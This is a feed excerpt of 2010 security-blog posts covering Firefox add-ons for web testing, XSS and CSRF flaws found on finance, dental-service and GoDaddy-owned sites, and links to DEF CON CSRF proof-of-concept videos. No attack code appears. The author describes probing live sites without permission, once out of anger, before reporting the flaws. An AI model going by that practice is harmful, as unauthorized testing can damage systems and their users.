term='SQLi'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='toolsmith'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><category scheme='http://www.blogger.com/atom/ns#' term='incident handling'/><title type='text'>toolsmith: Firefox Addons for the Security-minded</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/S2kkvNAvlMI/AAAAAAAAAS8/rCP7VBL-7Mc/s1600-h/title.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 166px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/S2kkvNAvlMI/AAAAAAAAAS8/rCP7VBL-7Mc/s320/title.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5433914818764444866" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Few websites are safe from a hearty probe when I come by for a visit, and I'd be remiss if I didn't share some of my favorite Firefox add-ons utilized as part of said probing.&lt;br /&gt;I opted to do just this as the topic for February's &lt;a href="http://holisticinfosec.org/content/view/12/26/"&gt;toolsmith&lt;/a&gt;, and focused on the expected standards (&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/722" target="_blank"&gt;NoScript&lt;/a&gt;, &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/2464" target="_blank"&gt;FoxyProxy Standard&lt;/a&gt;, &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/6623" target="_blank"&gt;BetterPrivacy&lt;/a&gt;, and &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/2275" target="_blank"&gt;Torbutton&lt;/a&gt;) as well as some of my less known favorites.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/6196" target="_blank"&gt;PassiveRecon&lt;/a&gt; &lt;br /&gt;Justin Morehouse’s PassiveRecon will let you dig up everything you ever wanted to know about a given site you may be browsing or analyzing.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/8661" target="_blank"&gt;WorldIP&lt;/a&gt;&lt;br /&gt;WorldIP from WIPmania.com is very cool and very useful.&lt;br /&gt;It provides everything you could every need to know or trace with regard to IP addresses and geolocation.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/46698" target="_blank"&gt;Groundspeed&lt;/a&gt;&lt;br /&gt;I saved the best for last; a new powerhouse in my web app sec arsenal.&lt;br /&gt;Felipe Moreno-Strauch’s Groundspeed, a newer add-on “that allows security testers to manipulate the application user interface to eliminate annoying limitations and client-side controls that interfere with the web application penetration tests.”&lt;br /&gt;And this it does well. ;-)&lt;br /&gt;&lt;br /&gt;The article is live for your reading pleasure &lt;a href="http://holisticinfosec.org/toolsmith/docs/february2010.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Cheers and enjoy.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/02/toolsmith-firefox-addons-for-security.html&amp;title=toolsmith:%20Firefox%20Addons%20for%20the%20Security-minded " title="toolsmith: Firefox Addons for the Security-minded "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/02/toolsmith-firefox-addons-for-security.html " title="toolsmith: Firefox Addons for the Security-minded "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/02/toolsmith-firefox-addons-for-security.html "&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-8317279731684716553?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/8317279731684716553/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=8317279731684716553' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8317279731684716553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8317279731684716553'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/02/toolsmith-firefox-addons-for-security.html' title='toolsmith: Firefox Addons for the Security-minded'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kVOWaY1TAF0/S2kkvNAvlMI/AAAAAAAAAS8/rCP7VBL-7Mc/s72-c/title.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-8125361375728537233</id><published>2010-01-29T14:49:00.001-08:00</published><updated>2010-02-01T14:34:51.359-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='online finance flaw'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>Online finance flaw: Ameriprise FAIL...again</title><content type='html'>Here we go again.&lt;br /&gt;The cross-site scripting (XSS) issues on the Ameriprise advisor locator site were fixed, even if temporarily, back when Dan Goodin &lt;a href="http://www.theregister.co.uk/2009/08/20/ameriprise_website_vulnerabilities/" target="_blank"&gt;reported&lt;/a&gt; on the issue in August. &lt;br /&gt;A little bird whispered in my ear the other day and told me a sad tale: &lt;br /&gt;they're baaaaack.&lt;br /&gt;Regression testing anyone?&lt;br /&gt;Regression testing (from the Wikipedia entry recommends that: &lt;br /&gt;"in most software development situations it is considered good practice that when a bug is located and fixed, &lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;a test that exposes the bug is recorded and regularly retested after subsequent changes to the program&lt;/span&gt;&lt;/span&gt;. &lt;br /&gt;What a grand idea! Ensure that you don't reintroduce old flaws when you roll old code.&lt;br /&gt;Really? I have to say it?&lt;br /&gt;Apparently.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kVOWaY1TAF0/S2dVJ7YuLwI/AAAAAAAAASk/m3-7RGa76GE/s1600-h/AmeripriseReFail.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 165px;" src="http://3.bp.blogspot.com/_kVOWaY1TAF0/S2dVJ7YuLwI/AAAAAAAAASk/m3-7RGa76GE/s320/AmeripriseReFail.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5433405104494358274" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dan &amp; El Reg have &lt;a href="http://www.theregister.co.uk/2010/02/01/ameriprise_xss_relapse/" target="_blank"&gt;covered&lt;/a&gt; the issue again given that, in order to have it fixed &lt;span style="font-weight:bold;"&gt;again&lt;/span&gt;, I had to ask him to ping the Ameriprise PR department. &lt;br /&gt;&lt;br /&gt;*sigh*&lt;br /&gt;&lt;br /&gt;BTW...the issue is fixed, for now. ;-)&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/01/online-finance-flaw-ameriprise.html&amp;title=Online%20finance%20flaw:%20Ameriprise%20FAIL...again " title="Online finance flaw: Ameriprise FAIL...again "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/01/online-finance-flaw-ameriprise.html " title="Online finance flaw: Ameriprise FAIL...again "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/01/online-finance-flaw-ameriprise.html "&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-8125361375728537233?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/8125361375728537233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=8125361375728537233' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8125361375728537233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/8125361375728537233'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/01/online-finance-flaw-ameriprise.html' title='Online finance flaw: Ameriprise FAIL...again'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kVOWaY1TAF0/S2dVJ7YuLwI/AAAAAAAAASk/m3-7RGa76GE/s72-c/AmeripriseReFail.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-718452116062772912</id><published>2010-01-20T20:11:00.000-08:00</published><updated>2010-01-20T21:09:38.521-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Defcon'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>DEF CON 17 CSRF Videos Remastered</title><content type='html'>Thanks to Adam Gerstein for reminding me to get off my butt and produce the Def Con 17 CSRF videos in a more streamable format.&lt;br /&gt;Adobe Flash Player required; no, I won't pwn you.&lt;br /&gt;If you'd like to see the whole presentation video, goofy as it may be, it's &lt;a href="http://www.defcon.org/html/links/dc-archives/dc-17-archive.html#Bailey" target="_blank"&gt;here&lt;/a&gt;. &lt;br /&gt;&lt;span style="font-style:italic;"&gt;Be forewarned, it's freaking huge and takes a fat pipe to pull it down in any reasonable amount of time.&lt;/span&gt;&lt;br /&gt;The presentation slides are &lt;a href="http://www.slideshare.net/rmcree/defcon-17-presentation-csrf-yeah-it-still-works" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://www.dokeos.com/" target="_blank"&gt;Dokeos&lt;/a&gt; CSRF PoC video is &lt;a href="http://holisticinfosec.org/video/defcon17/dokeos/dokeos.html" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The Linksys CSRF PoC video is &lt;a href="http://holisticinfosec.org/video/defcon17/linksys/linksys.html" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The osCommerce CSRF PoC video is &lt;a href="http://holisticinfosec.org/video/defcon17/osCommerce/osCommerce.html" target="_blank"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Note:&lt;/span&gt; Please don't use osCommerce, they still haven't fixed this and probably never will.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;BONUS VIDEO (discussed but not shown at Def Con)&lt;/span&gt;&lt;br /&gt;The Netgear CRSF PoC video is &lt;a href="http://holisticinfosec.org/video/defcon17/netgear/netgear.html" target="_blank"&gt;here&lt;/a&gt; (QuickTime and sorta crappy, sorry).&lt;br /&gt;&lt;br /&gt;Enjoy.&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/01/def-con-17-csrf-videos-remastered.html&amp;title=DEF%20CON%2017%20CSRF%20Videos%20Remastered " title="DEF CON 17 CSRF Videos Remastered "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/01/def-con-17-csrf-videos-remastered.html " title="DEF CON 17 CSRF Videos Remastered "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/01/def-con-17-csrf-videos-remastered.html "&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-718452116062772912?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/718452116062772912/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=718452116062772912' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/718452116062772912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/718452116062772912'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/01/def-con-17-csrf-videos-remastered.html' title='DEF CON 17 CSRF Videos Remastered'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-5507369617544198564</id><published>2010-01-18T20:56:00.000-08:00</published><updated>2010-01-18T21:36:53.452-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='compliance'/><category scheme='http://www.blogger.com/atom/ns#' term='HIPAA'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>Drilling into web application flaws &amp; HIPAA: the root of the issue</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Herein we merge dental hygiene with development hygiene. ;-)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I recently changed dentists, and after my fist visit (successful and pleasant) I soon received follow up email from &lt;a href="http://www.demandforce.com/df_dental.shtml" target="_blank"&gt;Demandforce D3&lt;/a&gt; on behalf of my new dentist. Said email pointed me to an application feature that included the ability to set my email preferences for future contact as well as additional functionality. &lt;br /&gt;I'll present the $64,000 questions right up front.&lt;br /&gt;My understanding of website HIPAA requirements adhere to the following statement from &lt;a href="http://www.einsteinmedical.com/hipaa_docs/hipaa_compliancy.html" target="_blank"&gt;Einstein Medical&lt;/a&gt;:&lt;br /&gt;"Since practice web sites provide for email correspondence from potential or current patients that may contain protected health information, &lt;span style="font-style:italic;"&gt;&lt;span style="font-weight:bold;"&gt;practice web sites must be HIPAA compliant&lt;/span&gt;&lt;/span&gt;."&lt;br /&gt;"HIPAA requires health care providers to implement secure networks for the transmission of all private health information, &lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;including information contained in email correspondence&lt;/span&gt;&lt;/span&gt;." &lt;br /&gt;&lt;br /&gt;For information transmission to be considered secure, three elements are necessary:&lt;br /&gt;&lt;br /&gt;1) Authentication – identification of the senders/receivers of the information (i.e. must have a unique username)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;If I can XSS a HIPAA protected site and can steal the auth cookie, is authentication sound?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2) Non-repudiation – verification that the senders/receivers of the information are who they say they are (i.e. must use a password)&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;If I can CSRF a HIPAA protected site is non-repudiation guaranteed?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3) Integrity – verification that information cannot be tampered with in transit (i.e. the information is sent through a network that cannot be easily “hacked” or “broken into”)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Both XSS and CSRF are, in essence, tampering when used to an attackers advantage; thus integrity is in question.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As I reviewed the Demandforce D3 application I was immediately struck by what appeared to be flawed dentistry...er, development, and discovered an input cavity in dire need of filling. I know, I know...stick to your day job, Russ.&lt;br /&gt;Fine, screen shots below for your consideration.&lt;br /&gt;&lt;br /&gt;While considering the above mentioned authentication, non-repudiation, and integrity bullet points above, please take note of the cookie in Figure 1 and complete XSS defacement in Figure 2, which could just as easily be a fake logon page.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kVOWaY1TAF0/S1U-YSZQn5I/AAAAAAAAASU/_BCZX4xNE2w/s1600-h/ScreenShot015.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 142px;" src="http://1.bp.blogspot.com/_kVOWaY1TAF0/S1U-YSZQn5I/AAAAAAAAASU/_BCZX4xNE2w/s320/ScreenShot015.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5428313512840568722" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 2&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kVOWaY1TAF0/S1U-fvAYGpI/AAAAAAAAASc/Z5CVtES3OZU/s1600-h/ScreenShot017.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 195px;" src="http://2.bp.blogspot.com/_kVOWaY1TAF0/S1U-fvAYGpI/AAAAAAAAASc/Z5CVtES3OZU/s320/ScreenShot017.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5428313640779913874" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thinking the best path to Demandforce D3 would be through my new dentist, I contacted the office manger, who immediately forwarded my email to Demandforce D3.&lt;br /&gt;Demandforce D3 quickly remediated the issues, quietly but successfully.&lt;br /&gt;&lt;br /&gt;So I ask you, compliance experts, what of web application security flaws and HIPAA? &lt;br /&gt;Are my interpretations accurate or am I just another pretty smile with no substance?&lt;br /&gt;I look forward to your feedback, comments welcome.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/01/drilling-into-web-application-flaws.html&amp;title=Drilling%20into%20web%20application%20flaws%20&amp;%20HIPAA:%20the%20root%20of%20the%20issue&lt;br /&gt; " title="Drilling into web application flaws &amp; HIPAA: the root of the issue "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/01/drilling-into-web-application-flaws.html " title="Drilling into web application flaws &amp; HIPAA: the root of the issue "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/01/drilling-into-web-application-flaws.html "&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a href="http://holisticinfosec.org/component/option,com_wrapper/Itemid,47/" target="_blank"&gt;OSVDB&lt;/a&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-5507369617544198564?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/5507369617544198564/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=5507369617544198564' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/5507369617544198564'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/5507369617544198564'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2010/01/drilling-into-web-application-flaws.html' title='Drilling into web application flaws &amp; HIPAA: the root of the issue'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kVOWaY1TAF0/S1U-YSZQn5I/AAAAAAAAASU/_BCZX4xNE2w/s72-c/ScreenShot015.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-1271972977401336642</id><published>2010-01-12T14:25:00.000-08:00</published><updated>2010-01-12T15:29:52.066-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>XSSing Bob: At least GoDaddy got this one right</title><content type='html'>&lt;span style="font-weight:bold;"&gt;Fair warning:&lt;/span&gt; This posting has a social agenda, born of my views, and will likely spark discussion. Flame all you want, but no anonymous comments accepted for this one.&lt;br /&gt;&lt;br /&gt;I'll come right out and say it. I'm not a GoDaddy fan...at all.&lt;br /&gt;I've long shared &lt;a href="http://insecure.org/" target="_blank"&gt;Fyodor's&lt;/a&gt; perspective (&lt;a href="http://nodaddy.com/" target="_blank"&gt;NoDaddy.com&lt;/a&gt;) and as a SecLists/nmap loyalist must swear my fealty. &lt;br /&gt;And don't get me wrong, I appreciate beautiful women as much as the next guy, but they're people, not things. The level of objectification that Bob Parsons and GoDaddy have maintained during their relentless ad campaign (ramping up again for football season) is sadly archaic, exploitative, and not in keeping with a modern mindset I've hoped would be embraced more broadly.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;I know I am in the minority. This is simply my opinion; I'm sure that vast majority of men who read this blog will fervently disagree with me. So be it, I honor your choices, may this free country remain ever so. &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;But I hate it. Women aren't objects. Believe me, I've been guilty of thinking and acting otherwise, but damn it, I'm trying. In my world women are wives and daughters, peers and managers, teachers and friends; all worthy of respect.&lt;br /&gt;So when the latest GoDaddy ad harshed my football mellow this past weekend during the defensive debacle that was the Packers/Cardinals game, I found myself pissed.&lt;br /&gt;Ask &lt;a href="http://holisticinfosec.blogspot.com/search?q=mcafee" target="_blank"&gt;McAfee&lt;/a&gt;, &lt;a href="http://holisticinfosec.blogspot.com/search?q=online+finance+flaws" target="_blank"&gt;neglectful credit card companies&lt;/a&gt;, and &lt;a href="http://holisticinfosec.blogspot.com/search?q=rei" target="_blank"&gt;lame online providers&lt;/a&gt; what happens when I get pissed. &lt;br /&gt;Yep, I got all huffy and went looking for web application issues to use to further my point. &lt;br /&gt;Bobparsons.me coughed up easy fodder in short order.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kVOWaY1TAF0/S0z_l_NaIJI/AAAAAAAAASM/Du0L5n7rriE/s1600-h/ScreenShot012.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 116px;" src="http://4.bp.blogspot.com/_kVOWaY1TAF0/S0z_l_NaIJI/AAAAAAAAASM/Du0L5n7rriE/s320/ScreenShot012.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5425992679162519698" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then my conscience got the best of me, and I reported the issue immediately via privacy at bobparsons.me.&lt;br /&gt;I always take this step with low expectations, but was rewarded with a rapid and thoughtful response. &lt;br /&gt;I reported the issue at 1910 hours, 11 January and received a call from the CISO himself, Neil Warner, who left me a VM indicating that the issue had been received, validated, and repaired by the security and development teams, all before 1200 12 January; less than 24 hours. Impressive to say the least.&lt;br /&gt;&lt;br /&gt;So, while I heartily disagree with GoDaddy marketing tactics and shake my head when I read the endless stream of horror stories on NoDaddy, I must applaud Neil and his team for a job well done. He even used the term "human IDS." ;-)&lt;br /&gt;Nicely done, Neil, nicely done.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://del.icio.us/post?url=http://holisticinfosec.blogspot.com/2010/01/xssing-bob-at-least-godaddy-got-this.html&amp;title=XSSing%20Bob:%20At%20least%20GoDaddy%20got%20this%20one%20right " title="XSSing Bob: At least GoDaddy got this one right "&gt;del.icio.us&lt;/a&gt; | &lt;a href="http://digg.com/submit?phase=2&amp;amp;url=http://holisticinfosec.blogspot.com/2010/01/xssing-bob-at-least-godaddy-got-this.html " title="XSSing Bob: At least GoDaddy got this one right "&gt;digg&lt;/a&gt; | &lt;a href="http://slashdot.org/submit.pl?url=http://holisticinfosec.blogspot.com/2010/01/xssing-bob-at-least-godaddy-got-this.html "&gt;Submit to Slashdot&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please support the Open Security Foundation (&lt;a
